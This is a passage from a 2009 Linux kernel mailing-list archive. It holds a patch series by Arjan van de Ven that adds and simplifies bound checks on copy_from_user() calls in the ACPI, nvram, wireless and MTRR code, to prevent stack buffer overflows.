 static inline unsigned long __must_check copy_from_user(void *to,
 					  const void __user *from,
 					  unsigned long n)
@@ -200,10 +207,9 @@ static inline unsigned long __must_check copy_from_user(void *to,
 
 	if (likely(sz == -1 || sz >= n))
 		ret = _copy_from_user(to, from, n);
-#ifdef CONFIG_DEBUG_VM
 	else
-		WARN(1, "Buffer overflow detected!\n");
-#endif
+		copy_from_user_overflow();
+
 	return ret;
 }
 
diff --git a/arch/x86/lib/usercopy_32.c b/arch/x86/lib/usercopy_32.c
index 8498684..e218d5d 100644
--- a/arch/x86/lib/usercopy_32.c
+++ b/arch/x86/lib/usercopy_32.c
@@ -883,3 +883,9 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
 	return n;
 }
 EXPORT_SYMBOL(_copy_from_user);
+
+void copy_from_user_overflow(void)
+{
+	WARN(1, "Buffer overflow detected!\n");
+}
+EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/include/linux/compiler-gcc4.h b/include/linux/compiler-gcc4.h
index a3aef5d..f1709c1 100644
--- a/include/linux/compiler-gcc4.h
+++ b/include/linux/compiler-gcc4.h
@@ -39,3 +39,6 @@
 #endif
 
 #define __compiletime_object_size(obj) __builtin_object_size(obj, 0)
+#if __GNUC_MINOR__ >= 4
+#define __compiletime_warning(message) __attribute__((warning(message)))
+#endif
diff --git a/include/linux/compiler.h b/include/linux/compiler.h
index 9c42853..241dfd8 100644
--- a/include/linux/compiler.h
+++ b/include/linux/compiler.h
@@ -189,6 +189,10 @@ extern void __chk_io_ptr(const volatile void __iomem *);
 #ifndef __compiletime_object_size
 # define __compiletime_object_size(obj) -1
 #endif
+#ifndef __compiletime_warning
+# define __compiletime_warning(message)
+#endif
+
 /*
  * Prevent the compiler from merging or refetching accesses.  The compiler
  * is also forbidden from reordering successive instances of ACCESS_ONCE(),
-- 
1.6.2.5


-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:33 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:33 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com (LHLO
 zmta02.collab.prod.int.phx2.redhat.com) (10.5.5.32) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:56:34 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 13A2C9C7CF;
	Sat, 26 Sep 2009 14:56:34 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta02.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4zEaK-kQ3gyD; Sat, 26 Sep 2009 14:56:33 -0400 (EDT)
Received: from int-mx03.intmail.prod.int.phx2.redhat.com (int-mx03.intmail.prod.int.phx2.redhat.com [10.5.11.16])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id CEC9D9CE2F;
	Sat, 26 Sep 2009 14:56:33 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx07.extmail.prod.ext.phx2.redhat.com [10.5.110.11])
	by int-mx03.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIuR4l002317;
	Sat, 26 Sep 2009 14:56:27 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QImrPK007277;
	Sat, 26 Sep 2009 14:56:14 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1752513AbZIZSyU (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:54:20 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1751887AbZIZSyT
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:19 -0400
Received: from casper.infradead.org ([85.118.1.10]:36387 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750795AbZIZSyS (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:18 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPU-0002Uh-8u; Sat, 26 Sep 2009 18:54:20 +0000
Date: 	Sat, 26 Sep 2009 20:49:51 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: linux-kernel at vger.kernel.org
Cc: torvalds at linux-foundation.org, mingo at elte.hu
Subject: [PATCH 0/9] Series to make copy_from_user to a stack slot provable
 right
Message-ID: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.16
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.11
Status: RO
Content-Length: 1430
Lines: 32

[PATCH 0/9] Series to make copy_from_user to a stack slot provable right

This series contains a series of patches that, when applied, make every
copy_from_user() in a make allyesconfig to a (direct) stack slot
provable-by-gcc to have a correct size.

This is useful because if we fix all of these, we can make the non-provable
case an error, as an indication of a possible security hole.

Now the series has 4 types of patches
1) changes where the original code really was missing checks
2) changes where the checks were coded so complex and games were played with
   types, that I (and the compiler) couldn't be sure if it was correct or
   not
3) changes where we're hitting a small gcc missing optimization, but where
   a simplification of the code allows gcc to prove things anyway.
   (http://gcc.gnu.org/bugzilla/show_bug.cgi?id=41477 is filed for this)
4) a case in sys_socketcall where Dave Miller and co were very smart in
   optimizing the code to the point where it's not reasonable for gcc
   to realize the result is ok.



-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:34 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:34 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com (LHLO
 zmta01.collab.prod.int.phx2.redhat.com) (10.5.5.31) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:56:39 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 54BEB92827;
	Sat, 26 Sep 2009 14:56:39 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta01.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UtrSlSnoRSKJ; Sat, 26 Sep 2009 14:56:39 -0400 (EDT)
Received: from int-mx05.intmail.prod.int.phx2.redhat.com (int-mx05.intmail.prod.int.phx2.redhat.com [10.5.11.18])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 1994391AC5;
	Sat, 26 Sep 2009 14:56:39 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx01.extmail.prod.ext.phx2.redhat.com [10.5.110.5])
	by int-mx05.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIuWCe012052;
	Sat, 26 Sep 2009 14:56:32 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIiTd1002301;
	Sat, 26 Sep 2009 14:56:26 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1752887AbZIZS4M (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:56:12 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752401AbZIZSyU
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:20 -0400
Received: from casper.infradead.org ([85.118.1.10]:36390 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750867AbZIZSyT (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:19 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPU-0002Uh-MA; Sat, 26 Sep 2009 18:54:20 +0000
Date: 	Sat, 26 Sep 2009 20:50:25 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        lenb at kernel.org
Subject: [PATCH 1/9] Fix bound checks for copy_from_user in the acpi /proc
 code
Message-ID: <20090926205025.3befecf6 at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.18
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.5
Status: RO
Content-Length: 1269
Lines: 38


From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 1/9] Fix bound checks for copy_from_user in the acpi /proc code
CC: Len Brown <lenb at kernel.org>

The ACPI /proc write() code takes an unsigned length argument like any write()
function, but then assigned it to a *signed* integer called "len".
Only after this is a sanity check for len done to make it not larger than 4.

Due to the type change a len < 0 is in principle also possible; this patch
adds a check for this.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>

diff --git a/drivers/acpi/proc.c b/drivers/acpi/proc.c
index d0d550d..f8b6f55 100644
--- a/drivers/acpi/proc.c
+++ b/drivers/acpi/proc.c
@@ -398,6 +398,8 @@ acpi_system_write_wakeup_device(struct file *file,
 
 	if (len > 4)
 		len = 4;
+	if (len < 0)
+		return -EFAULT;
 
 	if (copy_from_user(strbuf, buffer, len))
 		return -EFAULT;


-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:19 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:19 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com (LHLO
 zmta02.collab.prod.int.phx2.redhat.com) (10.5.5.32) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:55:08 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 1CF509E536;
	Sat, 26 Sep 2009 14:55:08 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta02.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3zTyP7cuh4ce; Sat, 26 Sep 2009 14:55:07 -0400 (EDT)
Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id D77239DB9F;
	Sat, 26 Sep 2009 14:55:07 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx07.extmail.prod.ext.phx2.redhat.com [10.5.110.11])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIt1Ks015507;
	Sat, 26 Sep 2009 14:55:01 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QImrPD007277;
	Sat, 26 Sep 2009 14:54:56 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1753121AbZIZSyo (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:54:44 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752997AbZIZSye
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:34 -0400
Received: from casper.infradead.org ([85.118.1.10]:36421 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752837AbZIZSyZ (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:25 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPV-0002Uh-2m; Sat, 26 Sep 2009 18:54:21 +0000
Date: 	Sat, 26 Sep 2009 20:50:49 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu
Subject: [PATCH 2/9] Simplify bound checks in nvram for copy_from_user
Message-ID: <20090926205049.33703eea at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.11
Status: RO
Content-Length: 1655
Lines: 52


From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 2/9] Simplify bound checks in nvram for copy_from_user

The nvram driver's write() function has an interesting bound check.
Not only does it use the always-hard-to-read ? C operator, it also
has a magic "i" in there, which comes from the file position of
the file.

On first sight the check looks sane, however the value of "i" is not 
checked at all and I as human don't know if the C type rules guarantee
that the result is always within bounds.. and neither does gcc seem to
know.

This patch simplifies the checks and guarantees that the copy will not
overflow the destination buffer.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>


diff --git a/drivers/char/nvram.c b/drivers/char/nvram.c
index 88cee40..b2a7eaf 100644
--- a/drivers/char/nvram.c
+++ b/drivers/char/nvram.c
@@ -267,7 +267,15 @@ static ssize_t nvram_write(struct file *file, const char __user *buf,
 	unsigned char *tmp;
 	int len;
 
-	len = (NVRAM_BYTES - i) < count ? (NVRAM_BYTES - i) : count;
+	len = count;
+	if (count > NVRAM_BYTES - i)
+		len = NVRAM_BYTES - i;
+
+	if (len > NVRAM_BYTES)
+		len = NVRAM_BYTES;
+	if (len < 0)
+		return -EINVAL;
+
 	if (copy_from_user(contents, buf, len))
 		return -EFAULT;
 


-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:18 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:18 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com (LHLO
 zmta02.collab.prod.int.phx2.redhat.com) (10.5.5.32) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:55:04 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id A27AB9E536;
	Sat, 26 Sep 2009 14:55:04 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta02.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qOnejO9jCrDH; Sat, 26 Sep 2009 14:55:04 -0400 (EDT)
Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 675CA9DB9F;
	Sat, 26 Sep 2009 14:55:04 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx01.extmail.prod.ext.phx2.redhat.com [10.5.110.5])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIsw7o015502;
	Sat, 26 Sep 2009 14:54:58 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIiTcx002301;
	Sat, 26 Sep 2009 14:54:45 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1753027AbZIZSye (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:54:34 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752975AbZIZSyc
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:32 -0400
Received: from casper.infradead.org ([85.118.1.10]:36410 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752691AbZIZSyW (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:22 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPV-0002Uh-GY; Sat, 26 Sep 2009 18:54:21 +0000
Date: 	Sat, 26 Sep 2009 20:51:14 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        linux-wireless at vger.kernel.org
Subject: [PATCH 3/9] Add bound checks in wext for copy_from_user
Message-ID: <20090926205114.4ec62382 at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.5
Status: RO
Content-Length: 1551
Lines: 47

From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 3/9] Add bound checks in wext for copy_from_user
CC: linux-wireless at vger.kernel.org

The wireless extensions have a copy_from_user to a local stack
array "essid", but both me and gcc have failed to find where
the bounds for this copy are located in the code.

This patch adds some basic sanity checks for the copy length
to make sure that we don't overflow the stack buffer.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>


diff --git a/net/wireless/wext.c b/net/wireless/wext.c
index 5b4a0ce..34beae6 100644
--- a/net/wireless/wext.c
+++ b/net/wireless/wext.c
@@ -773,10 +773,13 @@ static int ioctl_standard_iw_point(struct iw_point *iwp, unsigned int cmd,
 			essid_compat = 1;
 		else if (IW_IS_SET(cmd) && (iwp->length != 0)) {
 			char essid[IW_ESSID_MAX_SIZE + 1];
+			unsigned int len;
+			len = iwp->length * descr->token_size;
 
-			err = copy_from_user(essid, iwp->pointer,
-					     iwp->length *
-					     descr->token_size);
+			if (len > IW_ESSID_MAX_SIZE)
+				return -EFAULT;
+
+			err = copy_from_user(essid, iwp->pointer, len);
 			if (err)
 				return -EFAULT;
 



-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:15 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Sat, 26 Sep 2009 14:57:15 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com (LHLO
 zmta02.collab.prod.int.phx2.redhat.com) (10.5.5.32) by
 mail04.corp.redhat.com with LMTP; Sat, 26 Sep 2009 14:54:53 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 089D89E536;
	Sat, 26 Sep 2009 14:54:53 -0400 (EDT)
Received: from zmta02.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta02.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 42yBhVM1-bIT; Sat, 26 Sep 2009 14:54:52 -0400 (EDT)
Received: from int-mx03.intmail.prod.int.phx2.redhat.com (int-mx03.intmail.prod.int.phx2.redhat.com [10.5.11.16])
	by zmta02.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id C205B9DB9F;
	Sat, 26 Sep 2009 14:54:52 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx01.extmail.prod.ext.phx2.redhat.com [10.5.110.5])
	by int-mx03.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIsj7c001906;
	Sat, 26 Sep 2009 14:54:46 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8QIiTcw002301;
	Sat, 26 Sep 2009 14:54:33 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1752928AbZIZSy1 (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Sat, 26 Sep 2009 14:54:27 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1752675AbZIZSy0
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 26 Sep 2009 14:54:26 -0400
Received: from casper.infradead.org ([85.118.1.10]:36396 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750795AbZIZSyT (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Sat, 26 Sep 2009 14:54:19 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MrcPW-0002Uh-1I; Sat, 26 Sep 2009 18:54:22 +0000
Date: 	Sat, 26 Sep 2009 20:51:50 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: Arjan van de Ven <arjan at infradead.org>
Cc: linux-kernel at vger.kernel.org, torvalds at linux-foundation.org, mingo at elte.hu,
        hpa at zytor.com, tglx at tglx.de
Subject: [PATCH 4/9] Simplify bound checks in the MTRR code
Message-ID: <20090926205150.30797709 at infradead.org>
In-Reply-To: <20090926204951.424e567e at infradead.org>
References: <20090926204951.424e567e at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.16
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.5
Status: RO
Content-Length: 1683
Lines: 61

From: Arjan van de Ven <arjan at linux.intel.com>
Subject: [PATCH 4/9] Simplify bound checks in the MTRR code
CC: mingo at elte.hu
CC: hpa at zytor.com
CC: tglx at tglx.de

The current bound checks for copy_from_user in the MTRR driver
are not as obvious as they could be, and gcc agrees with that.

This patch simplifies the boundary checks to the point that gcc
can now prove to itself that the copy_from_user() is never going
past its bounds.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>

--- linux-2.6.31.noarch/arch/x86/kernel/cpu/mtrr/if.c~	2009-09-28 16:51:07.000000000 -0400
+++ linux-2.6.31.noarch/arch/x86/kernel/cpu/mtrr/if.c	2009-09-28 16:52:30.000000000 -0400
@@ -94,17 +94,26 @@ mtrr_write(struct file *file, const char
 	unsigned long long base, size;
 	char *ptr;
 	char line[LINE_SIZE];
+	int length;
 	size_t linelen;
 
 	if (!capable(CAP_SYS_ADMIN))
 		return -EPERM;
-	if (!len)
-		return -EINVAL;
+
 	memset(line, 0, LINE_SIZE);
-	if (len > LINE_SIZE)
-		len = LINE_SIZE;
-	if (copy_from_user(line, buf, len - 1))
+
+	length = len;
+	length--;
+
+	if (length > LINE_SIZE - 1)
+		length = LINE_SIZE - 1;
+
+	if (length < 0)
+		return -EINVAL;
+
+	if (copy_from_user(line, buf, length))
 		return -EFAULT;
+
 	linelen = strlen(line);
 	ptr = line + linelen - 1;
 	if (linelen && *ptr == '\n')

-- 
Arjan van de Ven 	Intel Open Source Technology Centre
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

>From davej  Sat Sep 26 14:57:28 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.2 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
